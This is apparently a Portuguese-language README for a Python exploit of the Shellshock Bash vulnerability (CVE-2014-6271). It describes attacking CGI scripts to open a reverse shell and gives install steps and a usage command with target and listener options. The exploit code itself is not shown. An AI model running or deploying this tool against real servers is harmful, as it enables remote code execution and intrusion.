🚨 Exploit RCE Shellshock (CVE-2014-6271)

Este é um exploit em Python para a vulnerabilidade Shellshock (CVE-2014-6271), que afeta o GNU Bash. O exploit tem como alvo scripts CGI em servidores web vulneráveis e estabelece um reverse shell para a máquina do atacante.

ID do CVE

CVE-2014-6271

Aviso Legal

Esta ferramenta destina-se apenas a fins educacionais e éticos.

Funcionalidades

• Explora scripts CGI vulneráveis usando Shellshock
• Handler de reverse shell
• Suporta:
  • HTTP e HTTPS
  • Caminhos CGI personalizados
  • suporte a proxy
• Shell interativo em caso de sucesso

Informação do CVE

• CVE: CVE-2014-6271
• Vulnerabilidade: Injeção de comandos em variáveis de ambiente do GNU Bash
• Impacto: Execução Remota de Código (RCE) através de cabeçalhos maliciosos em aplicações CGI

Requisitos

• Python 3.x
• pwntools
• requests

Instalação

sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py

Exemplo de Uso

python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cg